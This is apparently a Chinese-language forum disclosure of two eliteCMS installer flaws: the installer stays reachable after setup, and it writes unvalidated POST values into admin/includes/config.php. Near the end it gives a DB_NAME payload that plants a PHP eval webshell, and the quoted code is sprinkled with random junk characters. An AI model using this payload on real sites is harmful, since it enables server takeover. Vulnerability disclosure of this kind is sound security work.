eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

, L8 m% ?1 A1 P8 i9 y...
- ?5 m! P$ {& U( u# ]2 d5 _elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
  O  u0 t+ J7 h; P6 F6 U! \% x    $write = "<?php\n";
, D2 A: m# T( o  m+ ^5 j" _) A    $write .= "/**\n";
    $write .= "*\n";
2 Z9 f- }1 Y) y, g0 A4 e    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
0 J/ o2 a+ V8 j/ z& w  A...略...
    $write .= "*\n";
    $write .= "*/\n";
/ r9 V, K- Y' w# j, a2 I2 `0 W+ P    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
' S4 [! S; y( v/ {9 E0 E    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
# ]& e  ?; P$ }# x8 p6 U    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
. |7 i4 c; n9 E    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
. h% J2 e. A: y4 O1 Q    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
& D; @" N& B5 S    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
9 H1 O7 |1 _( f. e    $write .= "if (!\$db_select) {\n";
8 ], ?: P' n8 a0 n4 J2 S    $write .= "        die(\"Database select failed\" .mysql_error());\n";
9 ^7 `6 U2 \0 A& P; b# _    $write .= "        \n";
    $write .= "} \n";
5 p- f8 S+ x2 a, G    $write .= "?>\n";
6 m6 H9 U7 c( w7 M3 [) s) `  V1 _
$ |5 u+ t3 w, o" K( J) h2 Z    $writer = fopen($file, 'w');
...
) G6 n; x, e6 I- Z0 H5 t& G
在看代码：

' G+ t0 Y6 V, J3 b0 w$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 x2 O+ X& m7 ~0 {0 s* ]$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
* W2 S  o; j6 N& ?* J: e
取值未作任何验证
如果将数据库名POST数据：
9 r) S  K2 Z4 o0 Z
"?><?php eval($_POST[c]);?><?php

8 o4 m3 j* l/ [3 m- E将导致一句话后门写入/admin/includes/config.php
3 ?0 H( x! E& X: [5 ]1 U